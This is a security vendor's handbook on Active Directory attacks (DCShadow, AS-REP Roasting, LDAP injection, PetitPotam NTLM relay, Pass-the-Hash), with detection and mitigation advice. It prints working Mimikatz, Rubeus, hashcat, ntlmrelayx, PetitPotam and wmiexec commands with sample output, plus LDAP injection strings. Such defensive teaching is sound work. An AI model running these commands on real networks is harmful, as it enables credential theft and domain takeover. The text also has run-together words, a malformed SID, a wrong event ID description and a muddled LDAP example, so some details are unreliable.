Secure Debug specializes in Application Security, Network and Infrastructure security services. With offerings such as secure code reviews, static/dynamic application analysis, IT health checks, penetration testing, and security assessments, Secure Debug enables you to gain a clear understanding of your company’s security posture across your network, systems, and applications.

By partnering with Secure Debug, you can benefit from their extensive knowledge and experience in the cybersecurity field, ensuring that your Azure DevOps environment remains secure and compliant. Trust Secure Debug to help safeguard your organization’s valuable assets, minimize potential risks, and maintain a secure development lifecycle.

The Complete Active Directory Security Handbook (Part-1)

DCShadow Attack

A DC Shadow attack involves compromising the Active Directory environment by introducinga rogue domain controller (DC) into the network and then replicating changes from thelegitimate domain controllers to the rogue one. The attack consists of six steps.

A DC Shadow attack is a type of attack on an Active Directory environment where an attackerintroduces a rogue domain controller (DC) into the network and replicates changes fromlegitimate domain controllers to it. The attacker first creates changes in the environment,such as adding new objects or modifying existing ones, and then waits for the changes to bereplicated to the legitimate domain controllers. They then register service principal names(SPNs) for the rogue DC and register it in the configuration namespace, allowing it toauthenticate and communicate with other domain controllers. The attacker triggers replication of the changes they made to the rogue DC, which replicates them, allowing thechanges to persist in the environment. Finally, the attacker deletes the SPNs and the rogue DC, covering their tracks and leaving the environment in a compromised state. This type ofattack allows the attacker to persist and control the network by making changes that arereplicated to other domain controllers.

Tools and Techniques to Perform a DCShadow Attack

Adversaries often use Mimikatz as a tool to perform the DCShadow attack technique.

Tool 1: Mimikatz

Before we go any further, we need to make an assumption that the attacker has alreadycompromised the credentials of an Active Directory account with administrative permissions;let’s assume the user is called Bob. The reason behind this assumption is that anadministrative account allows the adversary to make changes to the environment, such asadding a rogue domain controller and replicating changes from legitimate domain controllersto it. Without administrative access, the attacker would not be able to carry out the attack.

A typical DCShadow attack consists of two steps.

Step 1: Elevating to SYSTEM privileges and making changes to the replicatedobject

The first step involves starting the mimidrv service, which provides the necessary privilegesto play the role of a fake Domain Controller ¹. These initial commands ("!+" and"!ProcessToken") register and start a service called “mimidrv” and elevates the privileges toSYSTEM.

PS> .\mimikatz.exe "!+ !ProcessToken"

Next, the adversary runs the following commands ¹, ².

mimikatz # lsadump::dcshadow
/object:"CN=Alice,OU=Employees,DC=sub,DC=domain,DC=com" /attribute:SidHistory
/value:S-5-1-5-21-2049251289-867822404-1193079966
. . .
** Starting server **
 > BindString[0]: ncacn_ip_tcp:<LocationOfFakeServer>[ThePortItListensTo]
> RPC bind registered
> RPC Server is waiting!
== Press Control+C to stop ==

This command is used to specify the fake server for a DCShadow attack.

The “/object” switch is used to specify the targeted user object, in this case the user “Alice”.The “/attribute” switch is used to specify the attribute that should be modified in the targetuser object, in this case “SidHistory”. Finally, the “/value” switch is used to specify the newvalue for the specified attribute, in this case

“S-5-1-5-21-2049251289-867822404-1193079966”.

In the context of a DCShadow attack, this command is used to specify the fake server andtarget the user object to modify its SidHistory attribute with the new specified value. Themodified attribute can be used to grant the attacker unauthorized access to the targetsystem and sensitive information.

Step 2: Pushing the changes back to a real domain controller

In the second step, the adversary has to launch Mimikatz again as the “Bob” account, whichthey compromised in the first place. The adversary runs the following command:

mimikatz # lsadump::dcshadow /push

The command lsadump::dcshadow /push is expected to perform a DCShadow attack byregistering a fake domain controller (shadowDC) and pushing replication data to it. The aimof this attack is to modify the contents of Active Directory database by using the roguedomain controller. Once the replication data has been committed, the fake domain controlleris unregistered for cleanup purposes.

Once everything is done, the attacker logs out from the compromised account Bob, andlogin again to gain the updated access token with the modified SID history.

Detection Methods for the ShadowDC Attack

The only definitive way to identify a DCShadow attack is through network monitoring of DRSUAPI Remote Procedure Call (RPC) requests for the DRSUAPI_REPLICA_ADD operationthat originate from systems that are not known to be domain controllers. Another method ofdetecting DCShadow is through analyzing Windows event logs, but this approach onlyprovides signs of the attack and not the exact changes made by the attacker.

In order to mimic a domain controller, DCShadow must make changes in Active Directory,such as adding a new NTDSDSA object and a global catalog (GC/<host>)servicePrincipalName to a computer object that is not a known domain controller. After theattack is completed, both of these items will be removed.

By examining events 5136 and 5141 in the Windows event log’s Audit Directory Service Changes subcategory (³, ⁴), you can look for evidence of the creation and deletion ofserver objects within sites.

Event ID 5136- The Windows Filtering Platform has allowed a connection.

• Key Description Fields: Security ID, Account Name, Account Domain, Logon ID

Event ID 5141 - A directory service object was deleted.

• Key Description Fields: Security ID, Account Name, Account Domain, Logon ID

Mitigation Techniques for the DCShadow Attack

DCShadow attack is a type of advanced persistent threat (APT) that leverages features andprivileges of Active Directory (AD) to modify data in a malicious manner. As it is not possibleto fully eliminate the risk of this attack, it is important to adopt a multi-layered securityapproach to mitigate it. Here are some suggestions that can help you reduce the risk of asuccessful DCShadow attack:

Mitigation Technique 1: Implementing firewall policies

Use host-based firewalls to limit lateral movement. Ensure that remote managementprotocols such as RDP are only accessible from a small set of approved and monitored systems.

Mitigation Technique 2: Limit user privileges

It is essential to limit the number of users with administrative privileges across security boundaries. This helps to minimize the extent to which an attacker can escalate their privileges.

Mitigation Technique 3: Control access to computer objects

Constrain the number of users with permission to add computer objects to the ActiveDirectory. This helps to prevent unauthorized changes to the AD infrastructure.

Mitigation Technique 4: Reduce delegated administrative permissions

Adequately govern built-in privileged groups and delegated administrative permissions toreduce the risk of abuse.

Mitigation Technique 5: Maintain good Active Directory hygiene

Regularly removing unused sites and computer objects helps maintain good Active Directoryhygiene and reduces the attack surface.

By following these mitigation strategies, organizations can better protect themselves againstDCShadow attacks and other types of advanced persistent threats.

AS-REP Roasting

The AS-REP Roasting technique enables attackers to acquire password hashes of useraccounts that have deactivated Kerberos pre-authentication. This method entailstransmitting an Authentication Server Request (AS-REQ) message to the domain controller(DC). If pre-authentication is disabled, the DC will return an AS-REP message containingencrypted data, including a segment encrypted with the user’s password hash. Subsequently,the attacker can utilize this information to attempt cracking the user’s password offline.

Under normal circumstances, with pre-authentication activated, the user initiates the Kerberos authentication procedure by dispatching an AS-REQ message to the DC. Thismessage is encrypted with a timestamp, which is further encrypted with the hash of theuser’s password. If the DC successfully decrypts the timestamp using its stored record ofthe user’s password hash, it will reply with an AS-REP message comprising a Ticket Granting Ticket (TGT), issued by the Key Distribution Center (KDC). The user then employs this TGT forfuture access requests.

Tools and Techniques to Perform an AS-REP Roasting Attack

Adversaries can use various third-party tools to perform an AS-REP Roasting Attack, such as Rubeus and Empire, Kerbrute and Impacket.

Tool: Rubeus

In order to find all accounts that do not require pre-authentication and extract their AS-REPhashes for offline cracking, an adversary runs the following command.

Rubeus.exe asreproast

To make the attack go a few steps forward, the attacker can leverage some parameters toextract the data in a format that can be cracked offline by, for instance, Hashcat:

Rubeus.exe asreproast /format:hashcat /outfile:C:\Temp\hashes.txt

Notice that the output hash credentials are written to the file called hashes.txt in the Tempdirectory. Next, the adversary leverages the Hashcat, specifying the hash-mode code for AS-REP hashes (18200), a hash file, and a dictionary to use to perform the brute-forcepassword guessing.

hashcat64.exe -m 18200 c:\Temp\hashes.txt dictionary.dict

To gain a better understanding of the AS-REP Roasting attack and how it is performed by using other tools, you can visit here ⁵.

Detection Methods for the AS-REP Roasting Attack

Detection of AS-REP Roasting attacks is crucial in order to mitigate the risk of passwordtheft. One way to detect such attacks is to monitor for changes to the setting that controlswhether Kerberos preauthentication is enabled. Event ID 4738 - A user account was changed.

• Key Description Fields: Security ID, Account Name, Account Domain, Logon ID,Security ID, Account Name

For instance, in the course of such an attack, Event ID 4738 is generated. This event signifiesa Kerberos authentication service ticket request and encompasses parameters such as Ticket Encryption Type (0x17), Ticket Options (0x40800010), and Service Name (krbtgt). Thepresence of these parameters in the event logs may indicate an ongoing AS-REP Roastingattack, as this event is produced when the attacker manipulates domain objects ⁶.

Event ID 5136 - A directory service object was modified.

• Key Description Fields: Security ID, Account Name, Account Domain, Logon ID, DN, GUID, Class, LDAP Display Name

Another option is to monitor Event ID 5136, which provides information about changes made to user accounts within a Windows environment. By analyzing the logs from this event, it is possible to identify any user accounts that have had the setting for Kerberos pre-authentication changed.

Mitigation Techniques for the AS-REP Attack

There are a couple of techniques that you can perform to mitigate an AS-REP attack.

Mitigation Technique 1: Locating all user accounts

The most effective way to prevent AS-REP Roasting attacks is to locate all user accounts that are configured without requiring Kerberos pre-authentication and enable this setting. This can be done by using the following script ⁷:

Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where-Object{$_.DoesNotRequirePreAuth -eq $True -and $_.Enabled -eq $True} | Select-Object'SamAccountName','DoesNotRequirePreAuth' | Sort-Object 'SamAccountName'

The script uses the Get-ADUser cmdlet with a filter to find all user accounts, and it specifiesthe ‘DoesNotRequirePreAuth’ property in the ‘Properties’ parameter to retrieve thepre-authentication information for each account.

The output of the Get-ADUser cmdlet is then piped to the Where-Object cmdlet, which filtersthe results to only include accounts where ‘DoesNotRequirePreAuth’ is equal to $True and’Enabled’ is equal to $True. The filtered results are then passed to the Select-Object cmdlet,which selects the ‘SamAccountName’ and ‘DoesNotRequirePreAuth’ properties for eachaccount. Finally, the selected results are passed to the Sort-Object cmdlet, which sorts theresults by the ‘SamAccountName’ property.

By enabling Kerberos pre-authentication for these user accounts, it ensures that the domaincontroller can decrypt the timestamp encrypted with the hash of the user’s password. Thismakes it much more difficult for an attacker to gain access to the user’s password hash andcarry out an offline cracking attack.

Mitigation Technique 2: Implementing a strong password policy

To guard against AS-REP Roasting attacks, it is advisable to implement strong password policies, especially for privileged accounts, that mandate the use of lengthy and complicated passwords. This makes it challenging for an attacker to crack the passwords, even if they are successfully stolen. Implementing fine-grained password policies is an effective first step toward ensuring password security.

Mitigation Technique 3: Finding out the Active Directory privileges

It’s important to identify who has the authority to change the preauthentication setting, as they could temporarily disable it to steal the AS-REP hash and then re-enable it. The following query will show all individuals with access rights to accounts without preauthentication ⁸:

(Get-ACL "AD:\$((Get-ADUser -Filter 'useraccountcontrol -band4194304').distinguishedname)").access

The code retrieves the access control list (ACL) of the security descriptor associated with aspecific user object in Active Directory (AD).

It first filters all user accounts in AD where the “useraccountcontrol” value has the 4194304decimal bit set (which corresponds to the flag UF_DONT_REQUIRE_PREAUTH in theuserAccountControl attribute) and retrieves their distinguished name. Then it retrieves the ACL of the security descriptor of the first user account in the result set using thedistinguished name and stores it in a variable. The last line of code retrieves the accessproperty of the ACL and displays it, which represents the access rights that are granted ordenied to the security principals specified in the ACL for the target user object.

LDAP Injection Attack

LDAP, an abbreviation for Lightweight Directory Access Control Protocol, is an open-sourceapplication protocol used for directory services authentication. In other words, LDAPbehaves like a cross-platform that maintains a communication language for applications thatcommunicate with other directory services, which store information about objects and sharethis information with other entities on the network. One thing to note is that LDAP and Active Directory are not the same; in fact, LDAP is the language that Microsoft Active Directory (AD)understands. So, if you ever need to access or authenticate yourself to any data stored onAD, you use LDAP to communicate with the target server.

An LDAP query, on the other hand, is the command that asks a particular directory servicefor the information you requested.

Techniques to Perform an LDAP Injection Attack

LDAP injection attacks come in many forms, and some of them are covered in this text. If you would like to delve deeper into the subject and learn about additional types of LDAP injection attacks that are not mentioned here, please follow this link ⁹.

LDAP Injection Type 1: Privilege escalation

The issue of the Elevation of Privileges refers to the situation where low-security level userscan gain access to high-security level information. This is achieved through the use of aninjection in the form of a filter that the LDAP server processes.

For example, the attacker can target a directory with documents of low-security level, suchas “Information/Reports” and “Information/UpcomingProjects”.

The injection, in this case, would look like the following:

"Information)(security_level=*))(&(directory=documents"

The filter resulting from this injection would be the following.

(&(directory=Information)(security_level=*))(&(directory=Information)(security_level=low))

As the LDAP server processes only the first filter, the second filter gets ignored, and the query that gets executed is “(&(directory=Information)security level=*)”. This allows the attacker to gain access to a list of documents that would otherwise only be accessible to users with a high security level, even though the attacker does not have the proper privileges.

LDAP Injection Type 2: Access control bypass

All login pages contain two fields for user input, one for the username and another for thepassword. The inputs are labeled as USER (username) and PASSWORD (password). Theclient provides a username/password pair and LDAP confirms the existence of this pair byconstructing search filters and sending them to the LDAP server.

The filter is written as (&(USER=Alice)(PASSWORD=PaSsW0rd!+). However, an attacker canmanipulate this by entering a valid username and injecting a sequence after it, effectivelybypassing the password check. By knowing the username, the attacker can enter any stringas the password value, resulting in the following query being sent to the server:(&(USER=Alice)(PASSWORD=PaSsW0rd!+).

The LDAP server only processes the first filter, ignoring the second one, which allows theattacker to enter the system without a proper password as the query (&(USER=Alice)(&)) isalways correct.

LDAP Injection Type 3: Information disclosure

A resource explorer allows a user to see what resources are available on the system, such asa website that sells clothing. For example, a user can search for a specific item, such asnotebooks or stickers, to see if they are available for sale. This is done using an LDAP query,such as: (|(type=Notebooks)(type=Stickers)).

However, a hacker can exploit this by injecting the string “uid=” into the query, resulting inthe following query: (|(type=Notebooks)(uid=))(type=Stickers)).

This query will be processed by the LDAP server, displaying not only all the available jeansbut also all the user objects in the system.

Mitigation Techniques for an LDAP Injection Attack

There are a couple of mitigation techniques to prevent a possible LDAP Injection attack ¹⁰.

Mitigation Technique 1: Escaping all variables using the right LDAP encoding

Escaping all variables using the right LDAP encoding is one of the key mitigation techniques against LDAP injection attacks. This technique involves encoding all user-supplied input in a way that makes it difficult for attackers to inject malicious payloads into LDAP queries.

Mitigation Technique 2: Distinguished name escaping

LDAP uses DN, or Distinguished Name, to store and identify names in its database. A DN acts like a unique identifier, similar to a username, and can be used to access resources.

A DN is made up of multiple parts, separated by commas. For example, a DN could look like this ¹⁰:

cn=Richard Feynman, ou=Physics Department, dc=Caltech, dc=edu

Certain characters in a DN are considered special characters and need to be properly escaped or handled to avoid issues with the DN. The exhaustive list of special characters in a DN includes \ # + < > , ; " = and leading or trailing spaces.

However, there are also “special” characters that are allowed in Distinguished Names and do not need to be escaped. These include * ( ) . & - _ [ ] ` ~ | @ $ % ^ ? : { } ! ‘.

It’s important to properly handle special characters in a DN to ensure that the DN functions as expected and to avoid any issues or unintended consequences when using the DN.

Mitigation Technique 3: Search filter escaping

In the LDAP database, each DN, or Distinguished Name, uniquely points to a single entry, which can be thought of as a row in a relational database management system (RDBMS). Each entry contains one or more attributes, similar to columns in an RDBMS. Search filters can be used to search through the LDAP database and find entries with specific attributes.

Search filters use Polish notation, also known as prefix notation, to specify the conditions for the search. For example, the following search filter would return all entries in the Physics organizational unit that have Freeman Dyson or Albert Einstein as their manager ¹⁰.

(&(ou=Physics)(|(manager=cn=Freeman
Dyson,ou=Physics,dc=Caltech,dc=edu)(manager=cn=Albert
Einstein,ou=Physics,dc=Princeton,dc=edu)))

When building LDAP queries in application code, it’s crucial to escape any untrusted datathat is added to the query to prevent security issues. There are two forms of LDAP escaping:encoding for LDAP search and encoding for LDAP DN. The proper form of escaping dependson whether the data is being used in a search filter or as a DN as a credential for accessinga resource.

Special characters such as “(”, “)”, and "" must be properly escaped when used in asearch filter to ensure the query is executed as intended. To learn more about search filterescaping, visit the RFC4515 document ¹¹.

Additional Defenses

To provide an additional layer of protection against LDAP injection attacks, organizations canimplement the following defense measures:

Least Privilege: Limit the privileges assigned to the LDAP binding account, which is theaccount used for accessing the LDAP directory, to minimize the potential damage in case ofa successful attack.

Enable Bind Authentication: Configure the LDAP protocol to require bind authentication,which verifies and authorizes valid credentials passed by the user ¹². However, attackersmay still be able to bypass bind authentication through Anonymous Bind ¹³ andUnauthenticated Bind ¹⁴. Hence, these Bind options also should be disabled.

Allow-List Input Validation: Implement input validation techniques to detect and preventunauthorized input from being passed to the LDAP query. This can help ensure that onlyapproved values are used in the construction of LDAP queries, reducing the risk of asuccessful LDAP injection attack. These validation techniques may include using regularexpressions, data type, and length restrictions, and cross-reference checks against externallists or databases ¹⁵.

PetitPotam NTLM Relay Attack on a Active Directory Certificate Services (AD CS)

The PetitPotam NTLM relay attack is a type of cyberattack that takes advantage of thelegacy protocol Windows NTLM and the MS-EFSRPC protocol. This attack takes advantageof the insecure default configuration of the Active Directory Certificate Services (AD-CS),which does not enforce Extended Protection for Authentication (EPA).

In this attack, an attacker can trigger a domain controller authentication by exploiting the PetitPotam vulnerability and relaying it to the AD-CS server to request a certificate for thedomain controller account. Using this certificate, the attacker can then retrieve a TGT(Ticket Granting Ticket) for the relayed domain controller account and perform any furtheroperations using its high privileges. This can lead to a full domain compromise in a few stepsand potentially allow the attacker to dump domain admin hashes.

It’s important to note that this vulnerability was partially mitigated by a security updatereleased by Microsoft on Patch Tuesday, May 10, 2022, but an attack is still possible if anattacker has any Active Directory account credentials.

Techniques to Perform a PetitPotam NTLM Relay Attack on Active Directory Certificate Services (AC DC)

In the following scenario, we are going to demonstrate how an adversary can exploit the PetitPotam vulnerability to obtain full domain administrator privileges without requiring a prior authentication.

A typical PetitPotam NTLM Relay attack consists of five steps ¹⁶.

Step 1: Relaying the AD DC web enrollment page

In the first step, the attacker has to ensure that Impacket’s ntlmrelay.px is set-up to relay to the AD DC Web Enrollment page.

sudo python3 ntlmrelayx.py -debug -smb2support --target
http://<target-ip>/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
…
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server
[*] Servers started, waiting for connections

Note that the flag “–target” specifies the target URL to attack. In this case, the target is acertificate server endpoint. The flags “–adcs” and “–template KerberosAuthentication” indicate that the target is an Active Directory Certificate Services (ADCS) server and thatthe tool will use a specific authentication template. The flags “-debug” and “-smb2support” are for debugging purposes and for supporting SMB version 2, respectively.

Step 2: Exploiting the PetitPotam vulnerability

To exploit the PetitPotam vulnerability, we both need to specify the DC and the attacker IP.

PetitPotam.py can be downloaded from its official GitHub repository ¹⁷.

python3 Petitpotam.py <listener-ip> <target-ip>

Note that while the listener-ip is the attacker’s relay IP, the target-ip is the IP of the DC that the attacker is targeting. Once the adversary exploits the PetitPotam vulnerability, the credentials would be relayed to the AD CD, where the certificate will be enrolled.

... #See the first step.
[*] Servers started, waiting for connections
...
[*] GOT CERTIFICATE!
[*] Base64 certificate of user DC-101$:
MIIRXQIBAz...LUSHLJCNIKmzEStB/3еу<ZKk31GbxwDU8t8wtx0YayLkKaJB5/c/tanzuJ10r08obkt
/nzJeyQxgyurLwrPp8HAUYnBCG3vwBUkzxbxotRtlnHrzztzVc/SA....

Step 3: Obtaining a Ticket Granting Ticket (TGT)

Now that it is enrolled, the attacker can use this certificate to obtain a Ticket Granting Ticket (TGT). For this step, the attacker can leverage the kekeo or Rubeus tool ¹⁸:

Kekeo # base64 /input:on
. . .
Kekeo # tgt::ask /pfx:<base64 cert from relay> /user:DC-101$
/domain:EXAMPLE.local /ptt

This command successfully authenticates the adversary with the domain.

Step 4: DCSyncing the target user

In this step, the attacker can use Mimikatz to perform a DCSync attack on the krbtgt user.

lsadump::dcsync /domain:EXAMPLE.local /user:krbtgt

Note that with the command the attacker is specifying the domain to target (“EXAMPLE.local”) and the user to impersonate (“krbtgt”), which is a privileged account in Active Directory that is used to perform various administrative tasks, including issuing Kerberos tickets.

“lsadump::dcsync” function, on the other hand, is used to perform a “DCSync” attack, whichis a type of attack that allows an attacker to simulate the behavior of a Domain Controllerand retrieve password hashes, Kerberos tickets, and other sensitive information from the Active Directory database. Hence, upon running this command, the adversary gains thepassword hash of the krbtgt user: 186c026974e59a14040dbc63aa8fb8c4.

Step 5: Passing the hash

In this step, the adversary can use Impacket’s wmiexec.py tool to pass the hash that theyobtained from the fifth step to obtain an interactive shell on the Domain Controller.

wmiexec.py -hashes :186c026974e59a14040dbc63aa8fb8c4 EXAMPLE/krbtgt@<target-ip>

In simpler terms, these two bugs work together to quickly allow someone with limitedaccess to gain complete control over a network or system. Even if the network or system isfully updated with the latest security patches, these bugs can still be used to cause serious harm in just a few minutes.

Mitigation Techniques for a PetitPotam NTLM Relay Attack on active Directory Certificate Services (AD CS)

To secure networks against NTLM Relay Attacks, domain administrators must take steps toprotect NTLM authentication-enabled services. The PetitPotam threat exploits servers thatlack safeguards for NTLM Relay Attacks in Active Directory Certificate Services (AD CS). This mitigation guidance provides steps for AD CS customers to protect their servers fromthis type of attack.

If you are using AD CS with the following services, your network may be vulnerable:

• Certificate Authority Web Enrollment
• Certificate Enrollment Web Service.

Microsoft suggests the following steps to mitigate potential attacks on AD CS servers ¹⁹:

Step 1: Enable Extended Protection for Authentication (EPA) for Certificate Authority Web Enrollment and Certificate Enrollment Web Service. This can be done through the Internet Information Services (IIS) Manager, with “Required” being the recommended and most secure option.

Step 2: Update the Web.config file created by the Certificate Enrollment Web Service role,located at <%windir%>\systemdata\CES<CA Name>_CES_Kerberos\web.config, to reflect theselected EPA setting.

Step 3: This can be done by adding <extendedProtectionPolicy> with a value of either"WhenSupported" or “Always”, depending on the EPA setting in the IIS UI. The “Always” setting should be used when the EPA setting is set to “Required”.

Step 4: Enable SSL-only connections by enabling the “Require SSL” option in IIS Manager.

Step 5: After completing these steps, it is important to restart IIS to load the changes. This can be done by opening an elevated Command Prompt window, and typing the following command:

iisreset /restart

Note that this command stops all IIS services, and then restarts them.

For more information on the available options for <extendedProtectionPolicy>, refer to the <transport> of <basicHttpBinding>. A sample configuration is provided ¹⁹:

<binding name="TransportWithHeaderClientAuth">
 <security mode="Transport">
 <transport clientCredentialType="Windows">
 <extendedProtectionPolicy policyEnforcement="Always" />
 </transport>
 <message clientCredentialType="None" establishSecurityContext="false"
negotiateServiceCredential="false" />
 </security>
 <readerQuotas maxStringContentLength="131072" />
</binding>

Conclusion

In conclusion, the increasing frequency and sophistication of attacks targeting Active Directory are evident. The common attacks discussed in this report, such as Pass the Hash, Pass the Ticket, Kerberoasting, Golden Ticket, DC Shadow, AS-REP Roasting, LDAPInjection, and PetitPotam NTLM Relay Attack, exemplify the myriad ways adversaries canexploit vulnerabilities within an organization’s Active Directory infrastructure.

Considering the crucial role Active Directory plays in regulating access to anorganization’s sensitive data and resources, it is imperative for organizations to adoptproactive measures to defend against these types of attacks. This necessitates amulti-layered approach, incorporating regular security audits, vulnerability assessments,and continuous monitoring to detect and address threats in real time.

It is crucial to recognize that attackers constantly adapt their tactics, requiringorganizations to remain vigilant and consistently update their security measures to stayahead of emerging threats. By investing in comprehensive security measures and closelymonitoring the evolving threat landscape, organizations can mitigate the risk of fallingvictim to an Active Directory attack.

References

Active Directory (AD), introduced with Windows 2000 ¹, has become an integral part of modern organizations, serving as the backbone of identity infrastructure for 90% of Fortune 1000 companies ². Active Directory is widely used by organizations for its simplicity and centralized management approach. It is an attractive solution for businesses as it makes it easier for employees to access resources and applications with a single set of credentials, which increases productivity and efficiency ³. Additionally, its centralized management structure provides a single point of control for IT administrators, allowing them to manage users, computers, and access to resources in one place ⁴.

However, due to its widespread use and architectural limitations, Active Directory becomes a liability in the event of a security breach and becomes a priority target for adversaries seeking to elevate privileges, infect multiple systems, and launch devastating attacks such as data exfiltration, full system compromises, and ransomware.

The biggest challenges in recovery after an AD breach include identifying the source, determining the extent of damage, and creating a secure new environment. According to Verizon’s 2022 Data Breach Investigations Report ⁵, 80% of breaches come from external agents, and as IBM’s 2021 Cost of a Data Breach Report points out that once a domain admin is hacked, attackers can hide within your network for up to 277 days before detection, posing a significant threat ⁶.

The widespread use and ease of access to resources for employees make it challenging for organizations to retire outdated Active Directory (AD) and adopt more secure alternatives like Microsoft Azure Active Directory (AAD). The transition to AAD addresses some of AD’s limitations by automating administrative tasks such as user management and group membership assignment for improved efficiency ⁷. However, the same security risks still apply, as a compromise of the identity infrastructure can have devastating consequences. Adversaries can also exploit Microsoft Endpoint Manager to move laterally from an Azure tenant to an on-prem AD domain, creating attack paths between separate identity management environments ⁸.

The importance of Active Directory security cannot be overstated, and organizations must be prepared with disaster recovery plans and vigilant monitoring to stop attacks before the system is corrupted or becomes irreparable. The choice between AD and AAD will largely depend on the needs and resources of the organization, but the risk of compromise remains regardless of choice. The secure and effective use of Active Directory requires a clear understanding of the potential risks and a commitment to security practices and protocols.

Active Directory

Active Directory (AD) is a crucial directory service for managing network resources in Windows-based networks. It enables the centralization of management for various network resources, including user and computer accounts, resources, and security policies. In this way, AD facilitates efficient and secure management of networks in a hierarchical structure.

AD operates on a hierarchical structure consisting of domains at the top level and various objects nested within, such as users, computers, and groups. The structure is designed to provide an organized and efficient way of managing network resources, and it ensures that security policies are enforced consistently across the network.

AD uses Lightweight Directory Access Protocol (LDAP) for communication between domains and domain controllers. LDAP is a directory service protocol that enables the management of distributed directory services over an IP network. Additionally, AD employs Kerberos, a secure authentication protocol for authentication over a network. This ensures that only authorized users and computers can access network resources, thereby enhancing network security.

To manage network resources efficiently, Active Directory uses Group Policy Objects (GPOs). GPOs are used to control and enforce security policies, software deployment, and other administrative tasks across the network. AD also provides support for Remote Procedure Calls (RPCs), allowing for remote management of network resources. This ensures that network administrators can efficiently manage network resources from a centralized location, regardless of the location of the resources themselves.

However, Active Directory is not immune to attacks, and attacks on AD can result in disastrous consequences for the network. Successful Active Directory attacks consist of three primary steps: discovery, privilege escalation through theft of valid account credentials, and gaining access to other computers in the network/domain. Once attackers gain a foothold in the target network, they immediately shift their focus to gaining elevated access to additional systems that will help them accomplish their final goal, such as encrypting and exfiltrating organizational data.

In summary, Active Directory is a vital component for managing and securing network resources in Windows-based networks. Its hierarchical structure and various features, such as LDAP and Kerberos, GPOs, and RPCs, provide efficient and secure management of network resources. To keep your network secure, it is critical to protect Active Directory from attacks by implementing strong security measures and keeping security protocols up-to-date to prevent unauthorized access to network resources.

Use of Alternate Authentication Methods (T1550)

Adversarial attacks on a system can often bypass normal access controls by using alternate authentication materials such as password hashes, Kerberos tickets, and application access tokens. This technique, known as T1550 in the MITRE ATT&CK framework, enables attackers to move laterally within an environment and gain unauthorized access.

This section will provide a detailed description of two sub-techniques of the Use Alternate Authentication Methods (T1150) technique: Pass-the-Hash (T1550.002) and Pass-the-Ticket (T1550.003).

Pass-the-Hash (T1550.002)

Pass-the-Hash (PtH) is an identity-based attack that is leveraged by attackers to gain access to additional systems and privileges within a network once they have already compromised the system.

In a typically Pass-the-Hash scenario, adversaries

• gain initial access to a target network,
• steals/dumps “hashed” user credentials,
• uses dumped credentials

to create a new user session on the compromised host.

As opposed to other attacks, Pass-the-Hash attacks represent a unique form of credential theft in which an attacker leverages the Windows New Technology LAN Manager (NTLM) authentication protocol to authenticate to a remote system using the pre-computed hash of a valid user’s password. When a user logs into a Windows system that relies on the NTLM protocol, the system generates an NTLM hash of the user’s password without leveraging a technique called salting that enhances the security of hashed passwords stored on servers and domain controllers.

NTLM is a single sign-on method that utilizes a challenge-response system to verify the user’s identity without requiring the user’s password. Therefore, this attack technique does not require adversaries to use any third-party cracking tools, as the plaintext version of the password is not needed; therefore, it eliminates the need to perform time-consuming cracking operations.

If an attacker obtains the NTLM hash of a user’s password through means such as extracting it from lsass.exe memory or from the %systemroot%\system32\config\SAM file, capturing it during network transmissions, or dumping it from a backup or image of a system, they can utilize the hashed password by passing the hash to a remote system that recognizes the compromised user’s account. Depending on the privileges and level of access of the compromised user, adversaries may gain full system access and successfully perform lateral movement attacks.

Tools and Techniques to Perform Pass-the-Hash Attacks

Pass-the-Hash (PtH) attacks can be executed by utilizing various publicly available tools, such as Mimikatz ⁹ and evil-winrm ¹⁰, as well as built-in PowerShell cmdlets. Attackers often employ these tools or commands to extract the hash from the memory of a compromised system and then use it to gain access to other systems on the network.

Tool 1: Mimikatz

The usage of Mimikatz for the Pass-the-Hash attack consists of three main steps.

Step 1: Stealing the password hash

To dump a list of recently logged-on users and their OS credentials, adversaries often use the sekurlsa module in Mimikatz, which leverages a number of different techniques to extract authentication information from LSASS memory, including parsing memory structures and using Windows APIs. The “logonpasswords” function of this module specifically extracts login session data such as saved password hashes and cached credentials. This can include the current user’s logon information, as well as information for other users who have logged onto the same machine.

Note that before leveraging the sekurlsa::logonpasswords command, attackers need to run the privilege::debug command so that the Mimikatz can run properly.

Below, you will find an example output of step one.

PS> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

Authentication Id : 0 ; 302247 (00000000:00049ca7)
Session           : UndefinedLogonType from 0
User Name         : Alice
Domain            : DOMAIN
Logon Server      : DC1
Logon Time        : 12/01/2023 15:13:19
SID               : S-1-5-21-3501040295-3816137123-30697657-1109
        msv :
          [00000003] Primary
          * Username : Alice
          * Domain   : DOMAIN
          * NTLM     : a0c8746a6efc7782c7c19c55185145be

Having this NTLM hash, it is time for adversaries to jump to the second stage.

It is important to note that Mimikatz is not the only way to dump NTLM hashes. Adversaries often leverage other built-in command-line applications or third-party tools, such as ProcDump ¹¹ and Gsecdump ¹², for credential dumping.

Step 2: Authentication through the stolen password hash

This is the main step where the adversary passes the hash to impersonate the user and gain access to the remote system.

The “sekurlsa::pth” command in Mimikatz is a feature that facilitates “Pass-the-Hash” attacks. This technique allows an attacker to authenticate to a remote system by using a captured NTLM hash of a user’s password, without the need for the actual password. To execute this command, the attacker must provide only the following parameters:

• /user: (the username),
• /domain: (the domain name), and
• /ntlm: (the NTLM hash of the user’s password).

PS> .\mimikatz.exe "sekurlsa::pth /user:Alice /domain:domain.com

/ntlm:a0c8746a6efc7782c7c19c55185145be"

user    : Alice
domain  : domain.com
program : cmd.exe
impers. : no
NTLM    : a0c8746a6efc7782c7c19c55185145be
. . .

Notice how easily we gained access to a remote system without knowing only the username and NTLM hash of the victim’s password.

Step 3: Accessing resources through new user account

In the third step, the attacker uses the newly obtained user account to expand their network access. For instance, the adversary can use a command-line utility called PsExec to perform remote code execution on another host.

For instance, the attacker can run the following command to run the “cmd.exe” process on the remote machine with an internal IP address “192.168.52.146”:

psexec.exe \\192.168.52.146 cmd.exe

Mimikatz is not the only way to perform a Pass-the-Hash attack. Adversaries often use the PowerShell, too.

Tool 2: PowerShell

It is common for adversaries to use the Invoke-WMIExec cmdlet, which allows execution of arbitrary commands on a remote Windows machine using WMI (Windows Management Instrumentation), to perform a PtH attack.

For instance, having a password hash of the user called Alice from our previous scenario, an adversary can run the following command.

Invoke-WmiExec -target 192.168.52.146 -hash a0c8746a6efc7782c7c19c55185145be -username Alice -command hostname

